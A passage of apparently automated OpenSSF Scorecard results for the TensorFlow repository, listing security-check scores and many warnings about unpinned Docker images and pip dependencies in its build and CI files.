SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: 